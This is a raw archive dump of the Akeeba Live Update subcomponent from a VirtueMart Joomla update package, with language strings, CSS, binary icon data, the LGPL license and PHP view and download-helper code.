Ange användarnamn och lösenord till din FTP nedan för att kunna fortsätta uppdateringen." LIVEUPDATE_FTP="FTP-information" LIVEUPDATE_FTPUSERNAME="FTP Användarnamn" LIVEUPDATE_FTPPASSWORD="FTP Lösenord" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Ladda ned och installera uppdatering" LIVEUPDATE_DOWNLOAD_FAILED="Nedladdningen av uppdateringsaketet misslyckades. Kontrollera att temp-mappen är skrivbar och att du har aktiverat Joomla!:s FTP-lager i Globala Inställningar." LIVEUPDATE_EXTRACT_FAILED="Uppackningen av uppdateringspaketet misslyckades. Prova att uppdatera tillägget manuellt." LIVEUPDATE_INVALID_PACKAGE_TYPE="Ogiltig pakettyp. Uppdateringen kan inte fortsätta." LIVEUPDATE_INSTALLEXT="Installerar %s %s" LIVEUPDATE_ERROR="FEL!" LIVEUPDATE_SUCCESS="KLART!" LIVEUPDATE_ICON_UNSUPPORTED="Live Update stöds inte" LIVEUPDATE_ICON_CRASHED="Live Update krashade" LIVEUPDATE_ICON_CURRENT="Du har den senaste versionen" LIVEUPDATE_ICON_UPDATES="UPPDATERING HITTAD! KLICKA FÖR ATT UPPDATERA."PKsl>\bcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/sv-SE/index.htmlnuW+APKsl>\bcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/tr-TR/index.htmlnuW+APKsl>\&c c lcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/tr-TR/tr-TR.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Canlı Güncelle" LIVEUPDATE_NOTSUPPORTED_HEAD="Canlı Güncelleme bu sunucu üzerinde desteklenmiyor" LIVEUPDATE_NOTSUPPORTED_INFO="Sunucunuz Canlı Güncellemeyi desteklemiyor. Lütfen sunucu yöneticinizle görüşerek cURL PHP ekini ya da URL fopen() sarıcılarını etkinleştirmelerini isteyin. Bu ekler zaten etkinleştirilmişse, güvenlik duvarını şu İnternet adresine izin verecek şekilde ayarlamalarını isteyin:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="%s güncellemelerini istediğiniz zaman el ile kurmak için, sitemizden en son sürümü indirip Joomla! bileşen kurucusu ile yükleyebilirsiniz." LIVEUPDATE_STUCK_HEAD="Canlı güncelleme hata vermiş" LIVEUPDATE_STUCK_INFO="Canlı güncelleme, güncelleme sunucusuna son bağlanma denemesinde hata verdiğini belirledi. Bu durum genellikle dışarıdaki sunuculara bağlantıları engelleyen bir sunucu yapılandırmasından kaynaklanır. Güncelleme bilgisini yeniden almak isterseniz lütfen aşağıdaki "Güncelleme bilgisini al" düğmesine tıklayın. Boş beyaz bir sayfa ile karşılaşırsanız sunucu yöneticinize bu durumu iletin." LIVEUPDATE_ERROR_NEEDSAUTH="Son sürüme güncellemeyi denemeden önce, bileşen ayarlarından kullanıcı adı/parolanızı ya da indirme kodunuzu yazmalısınız. Bu bilgileri yazana kadar Güncelle düğmesi devre dışı görünecektir." LIVEUPDATE_HASUPDATES_HEAD="Yeni bir sürüm bulundu" LIVEUPDATE_NOUPDATES_HEAD="Son sürümü kullanıyorsunuz" LIVEUPDATE_CURRENTVERSION="Kullandığınız sürüm" LIVEUPDATE_LATESTVERSION="Son sürüm" LIVEUPDATE_LATESTRELEASED="Son yayın tarihi" LIVEUPDATE_DOWNLOADURL="Doğrudan indirme adresi" LIVEUPDATE_REFRESH_INFO="Güncelleme bilgisini al" LIVEUPDATE_DO_UPDATE="Son sürüme güncelle" LIVEUPDATE_FTP_REQUIRED="Canlı Güncelle, güncellemeyi indirip kurmak yerine FTP kullanmaya gerek duyuyor, ancak FTP bilgilerinizi Joomla! Genel Ayarlarına kaydetmemişsiniz.

Lütfen güncellemeyi yapabilmek için FTP kullanıcı adı ve parolanızı aşağıya yazın." LIVEUPDATE_FTP="FTP Bilgisi" LIVEUPDATE_FTPUSERNAME="FTP Kullanıcı Adı" LIVEUPDATE_FTPPASSWORD="FTP Parolası" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Güncellemeyi indir ve kur" LIVEUPDATE_DOWNLOAD_FAILED="Güncelleme paketi indirilemedi. Geçici klasörünüzün yazılabilir olduğundan ya da Joomla! Genel Ayarlarından FTP seçeneğini etkinleştirdiğinizden emin olun." LIVEUPDATE_EXTRACT_FAILED="Güncelleme paketi ayıklanamadı. Lütfen bileşeni elle güncellemeyi deneyin." LIVEUPDATE_INVALID_PACKAGE_TYPE="Geçersiz paket tipi. Güncelleme yapılamıyor." LIVEUPDATE_INSTALLEXT="%s %s kurulsun" LIVEUPDATE_ERROR="Hata" LIVEUPDATE_SUCCESS="Başarılı" LIVEUPDATE_ICON_UNSUPPORTED="Canlı Güncelleme Desteklenmiyor" LIVEUPDATE_ICON_CRASHED="Canlı Güncelleme hata verdi" LIVEUPDATE_ICON_CURRENT="Son sürümü kullanıyorsunuz" LIVEUPDATE_ICON_UPDATES="GÜNCELLEME VAR! YÜKLEMEK İÇİN TIKLAYIN."PKsl>\)acom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/tr-TR/.htaccessnuW+A Order allow,deny Deny from all PKsl>\ ^com_virtuemart_update/administrator/components/com_virtuemart/liveupdate/assets/liveupdate.cssnuW+A/** * @package LiveUpdate * @copyright Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com * @license GNU LGPLv3 or later */ @CHARSET "UTF-8"; .icon-48-liveupdate { background-image: url(liveupdate-48.png) } var { font-style: italic; font-weight: bold; } p.liveupdate-url { font-family: "Lucida Sans Mono", "Courier New", Courier, monospace; } div.liveupdate-notsupported, div.liveupdate-stuck { border: thin solid #990000; background: #fff0f0; padding: 1em; color: #330000; -moz-border-radius: 10px; -webkit-border-radius: 10px; -border-radius: 10px; -moz-box-shadow: 5px 5px 5px #f88; -webkit-box-shadow: 5px 5px 5px #f88; box-shadow: 5px 5px 5px #f88; } div.liveupdate-notsupported h3, div.liveupdate-stuck h3 { background: transparent url("fail-24.png") top left no-repeat; min-height: 24px; padding: 2px 0 0 28px; font-size: large; color: red; text-shadow: 1px 1px 6px #cccc00; } div.liveupdate-hasupdates { border: thin solid #999900; background: #fffff0; padding: 1em; color: #333300; -moz-border-radius: 10px; -webkit-border-radius: 10px; -border-radius: 10px; -moz-box-shadow: 5px 5px 5px #ff8; -webkit-box-shadow: 5px 5px 5px #ff8; box-shadow: 5px 5px 5px #ff8; } div.liveupdate-hasupdates h3 { background: transparent url("warn-24.png") top left no-repeat; min-height: 24px; padding: 2px 0 0 28px; font-size: large; color: #660; text-shadow: 1px 1px 6px #ffff00; } div.liveupdate-noupdates { border: thin solid #009900; background: #f0fff0; padding: 1em; color: #003300; -moz-border-radius: 10px; -webkit-border-radius: 10px; -border-radius: 10px; -moz-box-shadow: 5px 5px 5px #8f8; -webkit-box-shadow: 5px 5px 5px #8f8; box-shadow: 5px 5px 5px #8f8; } div.liveupdate-noupdates h3 { background: transparent url("ok-24.png") top left no-repeat; min-height: 24px; padding: 2px 0 0 28px; font-size: large; color: #060; text-shadow: 1px 1px 6px #00ff00; } div.liveupdate-infotable { width: 1020px; margin: auto auto; padding: 2px; border: thin solid #333; background: #fefefe; -moz-border-radius: 5px; -webkit-border-radius: 5px; -border-radius: 5px; } div.liveupdate-infotable .row0 { background: #fcfcfc } div.liveupdate-infotable .row1 { background: #f0f0f0 } div.liveupdate-row { padding: 5px 1px } span.liveupdate-label { display: inline-block; width: 200px; font-weight: bold; } span.liveupdate-data { display: inline-block; width: 400px; overflow: none } p.liveupdate-buttons { text-align: center; margin: 1em; } p.liveupdate-error-needsauth { margin: 1em; background: #ffcccc; border: medium solid #ff0000; color: #660000; font-size: large; font-weight: bold; padding: 1em; text-align: center; text-shadow: 1px 1px 2px white; -moz-border-radius: 10px; -webkit-border-radius: 10px; -border-radius: 10px; -moz-box-shadow: 5px 5px 5px #f88; -webkit-box-shadow: 5px 5px 5px #f88; box-shadow: 5px 5px 5px #f88; } p.liveupdate-poweredby { font-size: 8pt; color: silver; margin: 1em 0 0.5em 0 } p.liveupdate-poweredby a { color: silver; } div.liveupdate-ftp p { margin: 1em 2em; line-height: 140%; border: thin solid #00c; padding: 0.5em; color: #006; background-color: #f0f0ff; font-size: 14pt; text-shadow: 1px 1px 3px silver } PKsl>\^^acom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/assets/liveupdate-48.pngnuW+APNG  IHDR00W pHYs  IDAThZ p\ř1}K6Ɩm"A. %d@@%Y6VEq2+ !˧oɺl3:~G11ð=͌}W̨BI,k3ݧ敃Np.TZ$\L:('1L TW\o?TxfZ8_W}A /\zVۉcKuJd!Q.*p< zH&og+|~"@  zn'V{|qiB425"$ nLu`T=A)?ڦ{<5zztQMʙ/=W' ltZP, 0v3c~NE\R&gx_'IfbEpQ# \Tm8l)Pqݍc7Bwy XQ-W9%??,"J>P;$7u f8GiJDJ^v61"jwةA HIHĒYNIr=bf kav-Mgn&%/]4w4$ZLqsl*idOArnL|/SGLQdydrd:h h^{ẄKxX>PrkUj:.9ʼOtxKT{lH |-+6h~&9ڲÉ:czN++o#< y؃}^14np'uC HBkJr?hTJHr[ ܲT6"g NQa -j ^)? ~-ȉdJ  <#@[| VUII/TsG{6Dn[2`ףCv[/R9ԗף}b?\=%x69nBpS E<: B}):>O,]\&/~a\°~5kPU,YC-ίzWOd w{)F*/.Hǿw<֋fTⲢma3ch| zgr \!~̀y$7%Flw.ާ_Xz ;RHV_ `eQ >pWLnZ\Smc=ONv3KeYgop0 )/)1KqVնΩNIn R!p&`3SJH]bc%P/ ^"ֈӑ !/7VZg Fnq&J2w;H$d:g>1i,07w}[^a'lM%ߪj˾?7t+fddTI2E^(TBͳs&)!2G~(ږ%}#\g#BQpn38Gnw_?0I|M𣹞?(g,xto -1wP!Wk&yY)GgosPHb! XY: @)>9t詿Xꡍ/=im&c;%!7moTDt_!XFXXZdMA@Bfp\ѸB/'n|+T阛c1`+{WO$]YTB<MeH<=ZG\J ! aSe+$aԿ0xgY뭦]gS =EΥe`=Ej 0+yU|w i.L+6 CBH Tf(%a3x-TZ?`fGعj]?̟z˺ǃ'sCBiЀ76M,7:T`Vbn մkL B*Rй$mPӌ3ffISOIFoۼ) 3 ~­,!lkCCqe L]x¢8xmY@lC^u!qhԈɿq[Fhu}݀|OΒ]dgC>[h|Lzb[پy{~Е,$֪XS*X/| 60^^wq:YD:,<Xlњf_,yY~IqAnCJQ,k.D|/-_ues3U%k~xd{8KC!~G=yx0bK=zLKZ/%ˎ].5tuɦ*Há!_Į wTx|d Sl۲hKNCM&6pg7\K+xUw޿G葖 [Cg_FUP%bd C&9>cH)SGt[i*UG<3oYkz{C{ޕUiSr@M8Cfxe7I/ 9ۄĠ("+&O͡C[Pq#҄$ #0 Aնm xd]sfxsMD?XfA(ULc]&IZ^OKR++Ww׆wmw׶oizS كJCjG* odj[ ƺ*#uGcQ<>nD҃rovws1ɉ{l,|ub-+2w~:5UB"ረgD*}}  dz|0 p¼rHhqc 0SԠz"[۱g Хٖ_UU bZʹZq;IʘCo$Si/Y,GN\UUޒakͥ avЛ]$⏂HʃW:>ᇻDt8!n $vȀ$f?+hK+SY8!G*}M8zYƄ)!8r>erl*QC<;&gvX%IH7Cfje^[sMM!8ru;QIB׹8,q /C-7ޜm0w񜞜ܜN&Bj}U3owJάlصS:v8%#e}Nne V@|Ɍerc)uzVPH-/ZK1'i+R׍+'^z\%]8GbCJO lnMCeAi\/qTYcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/assets/ok-24.pngnuW+APNG  IHDRw= pHYs  IDATH mLSWmo@hkaP4$(ʋɾ܊Kd#`lֲ1gt& e0`A hGA!PhK[/lq{9?BXqü@z= 06†_#`q^8Nh%BG9OGTd\a~]'@MykG>Dsx'y;laxRdٹŹ*+`6<\((WX,i(*V?5%-q ˲ՉNٯN>NoN(T01%n\!PD8D~ ֖$i0pXI_\ l8ה 63ql Aw@%<ϠQX@iZvefBRD,gR枦;;5%֦݁hWٗDӂ"sPbzoD)mJd^eNB5nPrZ|ᴴ#DLu{M/d1a#L;e@_ڲmZ*QN`h ޘu-ա~4d446Vm{(6*PC<5ۏ^Ene;4i(c$77/Cp.;4Iz)l?xd>edlx&ɒqbUpqKMUfuSnZJd?FNBvv80p}bmpy{f:C9R4$Zi:ްP(?n.8utt!|p9r'N{; &&"JJˀaldy³hZ2FH9~w,g,"p.B&U=14+ӥ D.ʧdZ$a4Q~JnvKv;(Enhi"܄b3:52>Q?~ej875@> :[n&oZւXQDn05X,*h>̅)|naL|k7CőG_}?5ozCa=k[ 8Ru…+XYj-PyAU{ΡBF?qX"鍊|2b/iG2ar31b} GOZ]4qcIENDB`PKsl>\q^com_virtuemart_update/administrator/components/com_virtuemart/liveupdate/assets/current-32.pngnuW+APNG  IHDR szz pHYs  IDATX ŖPT}쏷n!AMaC$m"t&hLm"2)d4i)G8qL?Ѡ rYDxxwo}dA4zww;s?s]D){ٸ{ g.V0t-ݺ u u+XwE܀opO=_f<P h^o+*g7`sH9Dk(ay'a,|\T*{*ti_PjI`v~χ7Sp*(~//bZR~dJG/3ჴy%Д!>yU2̹+ޠ mf85?a*:Arv_l ^M[YM3RF^pjtEZXo?wp|~dݮ YƲ~V=SZ"aT( .o|pVBiGDr/lr'ďA}]θ]W`5(Nj|~SsU=;R^1<}}źy߅ճQJ|αwoz_s~?ïEnA5;O;:}:FGm錄mO@pÍcw2i`Αl1\)Ycom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/assets/.htaccessnuW+A Order allow,deny Deny from all PKsl>\2;\\[com_virtuemart_update/administrator/components/com_virtuemart/liveupdate/assets/fail-24.pngnuW+APNG  IHDRw= pHYs  IDATH mVmlS~ιc;q $1 #FƠ&Ԋ jGºǴNU'X;m մ`CZʀB)]nI khY~{P*Z^sy>ǹ|N"qh@ )&0\>I4COa%JXLK|FzJGm-=ֶ 5XWf.71;4tm'./]1 tK^b۾jݱEx҃&@\ܸ]_.&u)o ~pWUuQ(L6L-`< p??:[x;$>^/Knή{kxv`&|6+Xʺe)TܼO tmv>||U>~Y͏}s]jU t+B!q̐ǯ~φe& Y8,L,M-m}eΝP__z֤WNoܨQ&NS%zd3Q;ܹ^M}a .nJ<>ljR6/ȃ H"Cjewܒk+ғhj#dlvq3؇ IvF7F131ʊ%E^63#c7.>5)Ē6.Y{unbT}6ˈ ~\P3jHzũk#-gο1mˎ~0#OX-7DѨTi#%sfͣy/G LcCCp3ł+ဪ^w\G匪ֵU25>+SmXSlٵ\) ϡ+:aC7By$3sx|ӎ-Pmv%[TQSj{ MljhR|o2{脳 -6Rs"IUmg)քÕ SI"6b9(HìKYyiYE'?lCvӎl'K.dTUYīw+7 v.,UH$9 #fvipA9O4zӲ.VfBkCCkyD\ǭRҬv$|YL.*A)CD"^tjX5vFt_ dr Ҫb>4?L}}gɱ~E*Ր+f$odN=\M,+0ɻ [+7ǵ~RL}kDY=:Y~kWṲ;A 4ixytoSHSeMM[W@pW[bme=+H;,#{ E&v?^SBi&qn9Pu2B>#=C)lztM}cf"=Đ>A>뾔Kkifi9ѠS0C!Ţ*RD[Ig谬aV;[|nX,?Ϯ[hFCM %7řŕ8\8As¹|7w %DS-Ȗ{MK4dtŵ@vEo>bpҀ͓ww D:`50P.\^|_. 4Ʒ$;GIENDB`PKsl>\vpVPP]com_virtuemart_update/administrator/components/com_virtuemart/liveupdate/assets/update-32.pngnuW+APNG  IHDR szz pHYs  IDATX W[lUΜK QoR"b0& /ĤM|'>ht4BbL4'i(!1z#U Жnﻳ3?̜}9ZXu9 Ӿ %LČ.6';D V6l@p0 @~Hr4VoPJRml@2lM8A Ric TTATPB:`#Ќ~؋ %"\F<-!cfAdԈp eY(S$ -@ a+$bZ5^TgyM55)NK l" Y- RfR00k8D@!2 k I !]Q9P(EU~k"۰nk Ib#?j?ucp<0=lm)UCxmIh%N~ #UPn:)=ROH<Ⱦ;iu+`Aj&$܆E޳Bŝ 5R2Տo빼:tv R#v9FD`2@qGTm@Ŷr}Q G<Պ-}Z|hM"<'(eR(w LE[n!^+1Uu=MkTGv)}rQBX⏂XkdS]T-&|`Q.`S[v7ٛwΘ WptE׌1  %SJq޼]:V҉r;K ˰Ps^|ܝHQne"fiqŒtKx`+OEYքp D?F VSE`$a>6fn?s=[:dH0HˎOt g8w"dO(@Iج|vSK(1$ZPZ$>p6iH! z1F/C6£/ < Iy㐴пXPLҁ($E_~mz]gU$IyCV 4к>QAT!l>"Ew/[HbH+h{uwXz2$sBUqVPPa]x9BI//3N4|[\5r#ZSꑱHy2Jc $^o;'B ǞMsDgGϋy1>.Do.X$a 'fR^'CT$1e*M 2 LJoI?px=1 A<(Xnc_a |cNw[_pF@DŽp_U$-VJ|P^$a i=C R,,[UxYDJ|3xƜpHyzΘ5+@.o/$>L6XX籽 ؅c[±m':+0jDDZwF^-ʷk xSm4‚IENDB`PKsl>\^ON[com_virtuemart_update/administrator/components/com_virtuemart/liveupdate/assets/warn-24.pngnuW+APNG  IHDRw= pHYs  NIDATH UkUv[kX`PM . >Pė}RD((m!- FPb 6`c-5MnwMi?ffx؝;ss(c ԇ*ܾ6l՚,ޓ( v3pE>ː BF.>Tnbש4uX4a8M`߃RhL<CP ]$>U`~`卌ϤiRHMNFe(o.9\Ь X 1= Vp%z;gTŁPtCmQ[Ϋ*YǦgUgvKƇ,=s0_Y6UsFe1rKP2K ;Q[ɿ2nM3A ]%Xghpg/!j A2=K_ZU(jW74)6U4#dp@)'@4lvU) i+]Śm4L@Qssj6nvZ+_ձi%*d`b8֏7g@Y6U NL5S;*f#;u[;-3"96 o9ޓ9TattQ#I6BﱁdFnvy.Bnͣf$Z q.]f YXA8A&2}S@~#q|ER{9|;zܸ m 5,U0Ġo ~=t0"Gκsѿr*!h"x9p@~1>)6sWW?E_t5aK`K)8އBm:Cb|Mz9cv>3xO=G(z~b'# -vH5k.jPӱ5Af+ox a >ۋGY{ǰ\km‹i)e?uLd7}W<ijqcX痢Ki(tq<,d,JޅE| 0RHl ]|ĵfA͚q Yڛ!IENDB`PKsl>\Zcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/assets/index.htmlnuW+APKsl>\. `com_virtuemart_update/administrator/components/com_virtuemart/liveupdate/assets/nosupport-32.pngnuW+APNG  IHDR szz pHYs   ZIDATX uWkl3Oxk0P3ƴȩI("-hRVi?H-D! $!@B Dv)cH(#,ػ玽ρ]|sϹ>B&']-uufm֭UoȱTABOQjF4s߽ƭD`φ ݻW-|ᩧZL(V# II`!d~uݸ OX{zqڊ&]om*SI6& PP0E',͠xrϵD[>&5MMMqvO{dJ˄"57aHQ8ۭfI8Hl;r$ F>[єɴ+E>.`L8zG:C7vS_jG]͏!…/BE^g4Q,f1l6aYx? ?7/IB& &a%}z~4[{{Ag8W/mݸ1mڴuxvhT3hPFC:D` | Θ$ݽKB2@@G:J@'Hݑ[B-9~c-Or$sL;L| b1*dXO_zEw R/i%hE& yc1GQ((ܵf64_jkMHW"|C!qtZDӼ_BL"`i{"sWVmŕ/˜DAI ٦Ozβ#:& z2]~EJF &F\Q+QxINQ޽4zRiقVΛgw&{d(zu\I 5̐4Ng[xpsr@-B_^M bȜL$_0b CgAj'NaJc*n@bdi8q׬ÇMPvJHs6bV:bE4:`gQK ,Z*#5JE)6,ʁ#]K^KB #vw ͻs(cuDNE |XTDY.Z<q<\:b(앁.YXsDm?5eg֢q8_`4{Nk}]*_TOEKp\`Pӎ)aŧ'.:I ㆁ_ЎTX-g[SCޞ!p0m9 (28h[6}&Q 'LFyf0JA0 fq;FP3'*EzH9H$” M%T cdo7|7#zFDɹlԁ@Ad_cwGqy{z\)l cK_F nlevFNԋtZ+{{ΝkDNFƠ'):m $U@ 뭞.ͯYJ瓂=_2ƭyyב&nb({яw#gF nbJ7JJ')JJJPHOu$d8]dÆ$lL&OA Hk`,(e|(+H&Z':&IBbȹ4p; a剿hƮ@pWĉ}h_ǍNqðXlF`(N,[WwP(4 Θ?p gY _kڗ v*b x H~mjŐM*و0 nѳVۋkAf@#R^;gmҴ NXIUUse3W{? 3wb9IENDB`PKsl>\/^88Wcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/liveupdate.phpnuW+AhasUpdates = false; return $versionCheck; } }PKsl>\$_ Tcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/LICENSE.txtnuW+A============================================================================== Akeeba Live Update - One-click updates for Joomla! extensions Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com Live Update is a sub-component to assist you in providing one-click updates for your Joomla! 1.5 and Joomla! 1.6 extensions. It is licensed under the GNU Lesser General Public License version 3 or, at your option, any later version published by the Free Software Foundation. You can use it royalty- free in any Joomla! extension, Free or Proprietary. The full text of its license is provided below. ============================================================================== GNU LESSER GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. This version of the GNU Lesser General Public License incorporates the terms and conditions of version 3 of the GNU General Public License, supplemented by the additional permissions listed below. 0. Additional Definitions. As used herein, "this License" refers to version 3 of the GNU Lesser General Public License, and the "GNU GPL" refers to version 3 of the GNU General Public License. "The Library" refers to a covered work governed by this License, other than an Application or a Combined Work as defined below. An "Application" is any work that makes use of an interface provided by the Library, but which is not otherwise based on the Library. Defining a subclass of a class defined by the Library is deemed a mode of using an interface provided by the Library. A "Combined Work" is a work produced by combining or linking an Application with the Library. The particular version of the Library with which the Combined Work was made is also called the "Linked Version". The "Minimal Corresponding Source" for a Combined Work means the Corresponding Source for the Combined Work, excluding any source code for portions of the Combined Work that, considered in isolation, are based on the Application, and not on the Linked Version. The "Corresponding Application Code" for a Combined Work means the object code and/or source code for the Application, including any data and utility programs needed for reproducing the Combined Work from the Application, but excluding the System Libraries of the Combined Work. 1. Exception to Section 3 of the GNU GPL. You may convey a covered work under sections 3 and 4 of this License without being bound by section 3 of the GNU GPL. 2. Conveying Modified Versions. If you modify a copy of the Library, and, in your modifications, a facility refers to a function or data to be supplied by an Application that uses the facility (other than as an argument passed when the facility is invoked), then you may convey a copy of the modified version: a) under this License, provided that you make a good faith effort to ensure that, in the event an Application does not supply the function or data, the facility still operates, and performs whatever part of its purpose remains meaningful, or b) under the GNU GPL, with none of the additional permissions of this License applicable to that copy. 3. Object Code Incorporating Material from Library Header Files. The object code form of an Application may incorporate material from a header file that is part of the Library. You may convey such object code under terms of your choice, provided that, if the incorporated material is not limited to numerical parameters, data structure layouts and accessors, or small macros, inline functions and templates (ten or fewer lines in length), you do both of the following: a) Give prominent notice with each copy of the object code that the Library is used in it and that the Library and its use are covered by this License. b) Accompany the object code with a copy of the GNU GPL and this license document. 4. Combined Works. You may convey a Combined Work under terms of your choice that, taken together, effectively do not restrict modification of the portions of the Library contained in the Combined Work and reverse engineering for debugging such modifications, if you also do each of the following: a) Give prominent notice with each copy of the Combined Work that the Library is used in it and that the Library and its use are covered by this License. b) Accompany the Combined Work with a copy of the GNU GPL and this license document. c) For a Combined Work that displays copyright notices during execution, include the copyright notice for the Library among these notices, as well as a reference directing the user to the copies of the GNU GPL and this license document. d) Do one of the following: 0) Convey the Minimal Corresponding Source under the terms of this License, and the Corresponding Application Code in a form suitable for, and under terms that permit, the user to recombine or relink the Application with a modified version of the Linked Version to produce a modified Combined Work, in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source. 1) Use a suitable shared library mechanism for linking with the Library. A suitable mechanism is one that (a) uses at run time a copy of the Library already present on the user's computer system, and (b) will operate properly with a modified version of the Library that is interface-compatible with the Linked Version. e) Provide Installation Information, but only if you would otherwise be required to provide such information under section 6 of the GNU GPL, and only to the extent that such information is necessary to install and execute a modified version of the Combined Work produced by recombining or relinking the Application with a modified version of the Linked Version. (If you use option 4d0, the Installation Information must accompany the Minimal Corresponding Source and Corresponding Application Code. If you use option 4d1, you must provide the Installation Information in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source.) 5. Combined Libraries. You may place library facilities that are a work based on the Library side by side in a single library together with other library facilities that are not Applications and are not covered by this License, and convey such a combined library under terms of your choice, if you do both of the following: a) Accompany the combined library with a copy of the same work based on the Library, uncombined with any other library facilities, conveyed under the terms of this License. b) Give prominent notice with the combined library that part of it is a work based on the Library, and explaining where to find the accompanying uncombined form of the same work. 6. Revised Versions of the GNU Lesser General Public License. The Free Software Foundation may publish revised and/or new versions of the GNU Lesser General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Library as you received it specifies that a certain numbered version of the GNU Lesser General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that published version or of any later version published by the Free Software Foundation. If the Library as you received it does not specify a version number of the GNU Lesser General Public License, you may choose any version of the GNU Lesser General Public License ever published by the Free Software Foundation. If the Library as you received it specifies that a proxy can decide whether future versions of the GNU Lesser General Public License shall apply, that proxy's public statement of acceptance of any version is permanent authorization for you to choose that version for the Library.PKsl>\)Rcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/.htaccessnuW+A Order allow,deny Deny from all PKsl>\Scom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/index.htmlnuW+APKsl>\_1_ Ycom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/classes/view.phpnuW+A */ defined('_JEXEC') or die(); jimport('joomla.application.component.view'); /** * The Live Update MVC view */ class LiveUpdateView extends JView { public function display($tpl = null) { // Load the CSS $config = LiveUpdateConfig::getInstance(); $this->assign('config', $config); if(!$config->addMedia()) { // No custom CSS overrides were set; include our own $document = JFactory::getDocument(); $url = JURI::base().'/components/'.JRequest::getCmd('option','').'/liveupdate/assets/liveupdate.css'; $document->addStyleSheet($url, 'text/css'); } $requeryURL = 'index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&force=1'; $this->assign('requeryURL', $requeryURL); $extInfo = (object)$config->getExtensionInformation(); JToolBarHelper::title($extInfo->title.' – '.JText::_('LIVEUPDATE_TASK_OVERVIEW'),'liveupdate'); if(version_compare(JVERSION,'1.6.0','ge')) { $msg = 'JTOOLBAR_BACK'; } else { $msg = 'Back'; } JToolBarHelper::back($msg, 'index.php?option='.JRequest::getCmd('option','')); switch(JRequest::getCmd('task','default')) { case 'startupdate': $this->setLayout('startupdate'); $this->assign('url','index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=download'); break; case 'install': $this->setLayout('install'); // Get data from the model $state = &$this->get('State'); // Are there messages to display ? $showMessage = false; if ( is_object($state) ) { $message1 = $state->get('message'); $message2 = $state->get('extension.message'); $showMessage = ( $message1 || $message2 ); } $this->assign('showMessage', $showMessage); $this->assignRef('state', $state); break; case 'overview': default: $this->setLayout('overview'); $force = JRequest::getInt('force',0); $this->assign('updateInfo', LiveUpdate::getUpdateInformation($force)); $this->assign('runUpdateURL','index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=startupdate'); $needsAuth = !($config->getAuthorization()) && ($config->requiresAuthorization()); $this->assign('needsAuth', $needsAuth); break; } parent::display($tpl); } }PKsl>\)Zcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/classes/.htaccessnuW+A Order allow,deny Deny from all PKsl>\5FYYecom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/classes/tmpl/startupdate.phpnuW+A */ defined('_JEXEC') or die(); ?>

Powered by Akeeba Live Update

PKsl>\`com_virtuemart_update/administrator/components/com_virtuemart/liveupdate/classes/tmpl/index.htmlnuW+APKsl>\.acom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/classes/tmpl/install.phpnuW+A */ defined( '_JEXEC' ) or die(); $state = &$this->get('State'); $message1 = $state->get('message'); $message2 = $state->get('extmessage'); ?>

Powered by Akeeba Live Update

PKsl>\)_com_virtuemart_update/administrator/components/com_virtuemart/liveupdate/classes/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKsl>\.gYbcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/classes/tmpl/overview.phpnuW+A */ defined('_JEXEC') or die(); ?>
updateInfo->supported): ?>

escape($this->updateInfo->extInfo->updateurl) ?>

escape($this->updateInfo->extInfo->title)); ?>

updateInfo->stuck):?>

escape($this->updateInfo->extInfo->title)); ?>

updateInfo->hasUpdates ? 'hasupdates' : 'noupdates'; $auth = $this->config->getAuthorization(); $auth = empty($auth) ? '' : '?'.$auth; ?> needsAuth): ?>

updateInfo->extInfo->version ?>
updateInfo->version ?>
updateInfo->date ?>

updateInfo->hasUpdates):?> needsAuth ? 'disabled="disabled"' : ''?>

Powered by Akeeba Live Update

PKsl>\1k+϶!!]com_virtuemart_update/administrator/components/com_virtuemart/liveupdate/classes/download.phpnuW+A */ defined('_JEXEC') or die(); /** * Allows downloading packages over the web to your server */ class LiveUpdateDownloadHelper { /** * Downloads from a URL and saves the result as a local file * @param $url * @param $target * @return bool True on success */ public static function download($url, $target) { // Import Joomla! libraries jimport('joomla.filesystem.file'); /** @var bool Did we try to force permissions? */ $hackPermissions = false; // Make sure the target does not exist if(JFile::exists($target)) { if(!@unlink($target)) { JFile::delete($target); } } // Try to open the output file for writing $fp = @fopen($target, 'wb'); if($fp === false) { // The file can not be opened for writing. Let's try a hack. if( JFile::write($target, '') ) { if( self::chmod($target, 511) ) { $fp = @fopen($target, 'wb'); $hackPermissions = true; } } } $result = false; if($fp !== false) { // First try to download directly to file if $fp !== false $adapters = self::getAdapters(); $result = false; while(!empty($adapters) && ($result === false)) { // Run the current download method $method = 'get' . strtoupper( array_shift($adapters) ); $result = 